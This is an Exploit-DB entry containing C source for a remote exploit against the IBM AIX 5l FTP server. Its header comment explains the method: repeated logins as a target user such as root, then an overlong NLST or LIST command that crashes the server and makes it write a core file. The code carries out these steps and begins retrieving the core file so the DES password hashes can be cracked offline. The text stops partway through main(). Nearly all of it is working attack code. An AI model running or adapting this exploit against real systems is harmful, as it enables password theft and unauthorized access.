Exploit-DB #14456
Description: IBM AIX 5l - 'FTPd' Remote DES Hash
Type: remote
Platform: aix
Date: 2010-07-24
Author: kingcope

Exploit:
/*
 * IBM AIX 5l FTPd Remote DES Hash Exploit -- Advanced 'Datacenter' Edition :>
 *
 * Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too
 *
 * bug found & exploited by Kingcope
 *
 * Version 2.0 - July 2010
 * ----------------------------------------------------------------------------
 * Description:                                                               -
 * The AIX 5l FTP-Server crashes when an overly long NLST command is supplied -
 * For example: NLST ~AAAAA...A (2000 A´s should be enough)                   -
 * The fun part here is that it creates a coredump file in the current        -
 * directory if it is set writable by the logged in user.                     -
 * The goal of the exploit is to get the DES encrypted user hashes            -
 * off the server. These can be later cracked with JtR.                       -
 * This is accomplished by populating the memory with logins of the user      -
 * we would like the encrypted hash from. Logging in three times with the     -
 * target username should be enough so that the DES hash is included in the   -
 * 'core' file.                                                               -
 * The FTPd banner looks like below.                                          -
 * 220 AIX5l FTP-Server (Version 4.1 Tue May 29 11:57:21 CDT 2001) ready.     -
 * 220 AIX5l FTP server (Version 4.1 Wed Mar 2 15:52:50 CST 2005) ready.      -
 * ----------------------------------------------------------------------------
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <fcntl.h>

int createconnection(char *target, char *targetport);
void getline(int s);
void putline(int s, char *out);
void usage(char *exe);

char in[8096];
char out[8096];

int main(int argc, char *argv[])
{
 extern int optind;
 extern char *optarg;
 int haveuser=0,havepassword=0;
 int s,s2,nsock;
 int c,k,len;
 int fd;

 char *target = NULL;
 char *username = "ftp";
 char *password = "guest";
 char *writeto = "pub";
 char *crackme = "root";
 char *targetport = "21";
 int uselist = 0;
 char *myip = NULL;
 char *as = NULL;
 int octet_in[4], port;
 struct sockaddr_in yo, cli;
 char *oct = NULL;

 while ((c = getopt(argc, argv, "h:i:p:l:k:d:c:s")) != EOF) {
  switch(c) {
  case 'h':
    target = (char*)malloc(strlen(optarg)+1);
    strcpy(target, optarg);
  break;
  case 'i':
    myip = (char*)malloc(strlen(optarg)+1);
    strcpy(myip, optarg);
  break;
  case 'p':
    targetport = (char*)malloc(strlen(optarg)+1);
    strcpy(targetport, optarg);
  break;
  case 'l':
    username = (char*)malloc(strlen(optarg)+1);
    strcpy(username, optarg);
    haveuser = 1;
  break;
  case 'k':
    password = (char*)malloc(strlen(optarg)+1);
    strcpy(password, optarg);
    havepassword = 1;
  break;
  case 'd':
    writeto = (char*)malloc(strlen(optarg)+1);
    strcpy(writeto, optarg);
  break;
  case 'c':
    crackme = (char*)malloc(strlen(optarg)+1);
    strcpy(crackme, optarg);
  break;
  case 's':
    uselist = 1;
  break;
  default:
    usage(argv[0]);
  }
 }

 if (target == NULL || myip == NULL)
  usage(argv[0]);

 if ((haveuser && !havepassword) || (!haveuser && havepassword)) {
  usage(argv[0]);
 }

 s = createconnection(target, targetport);
 getline(s);

 fprintf(stderr, "populating DES hash in memory...\n");

 for (k=0;k<3;k++) { 
  snprintf(out, sizeof out, "USER %s\r\n", crackme);
  putline(s, out); 
  getline(s);
  snprintf(out, sizeof out, "PASS abcdef\r\n");
  putline(s,out);
  getline(s);
 }

 fprintf(stderr, "logging in...\n");

 snprintf(out, sizeof out, "USER %s\r\n", username);
 putline(s, out); 
 getline(s);
 snprintf(out, sizeof out, "PASS %s\r\n", password);
 putline(s,out);
 getline(s);
 getline(s);

 fprintf(stderr, "changing directory...\n");

 snprintf(out, sizeof out, "CWD %s\r\n", writeto);
 putline(s, out); 
 getline(s);

 fprintf(stderr, "triggering segmentation violation...\n");

 as = (char*)malloc(2000);
 memset(as, 'A', 2000);
 as[2000-1]=0;

 if (!uselist) {
  snprintf(out, sizeof out, "NLST ~%s\r\n", as);
 } else {
  /* AIX 5.3 trigger - thanks to karol */
  snprintf(out, sizeof out, "LIST ~%s\r\n", as);
 }
 putline(s, out);

 memset(in, '\0', sizeof in);
 if (recv(s, in, sizeof in, 0) < 1) {
  printf("trigger succeeded!\nwaiting for core file to be created...\n");
 } else {
  printf("trigger seems to have failed, proceeding anyways...\n"
  "\nwaiting for core file to be created...\n");
 }

 sleep(5);

 close(s);

 s = createconnection(target, targetport);
 getline(s);

 fprintf(stderr, "logging in 2nd time...\n");

 snprintf(out, sizeof out, "USER %s\r\n", username);
 putline(s, out); 
 getline(s);
 snprintf(out, sizeof out, "PASS %s\r\n", password);
 putline(s,out);
 getline(s);
 getline(s);

 fprintf(stderr, "changing directory...\n");

 snprintf(out, sizeof out, "CWD %s\r\n", writeto);
 putline(s, out); 
 getline(s);

 fprintf(stderr, "getting core file...\n");

 snprintf(out, sizeof out, "TYPE I\r\n");
 putline(s, out); 
 getline(s);

 port = getpid() + 1024;
 len = sizeof(cli);

 bzero(&yo, sizeof(yo));
 yo.sin_family = AF_INET;
 yo.sin_port=htons(port);
 yo.sin_addr.s_addr = htonl(INADDR_ANY);

 oct=(char *)strtok(myip,".");
 octet_in[0]=atoi(oct);
 oct=(char *)strtok(NULL,".");
 octet_in[1]=atoi(oct);
 oct=(char *)strtok(NULL,".");
 octet_in[2]=atoi(oct);
 oct=(char *)strtok(NULL,".");
 octet_in[3]=atoi(oct);

 snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
 putline(s, out); 
 getline(s); 

 if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  perror("socket");
  return -1;
 }

 if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) {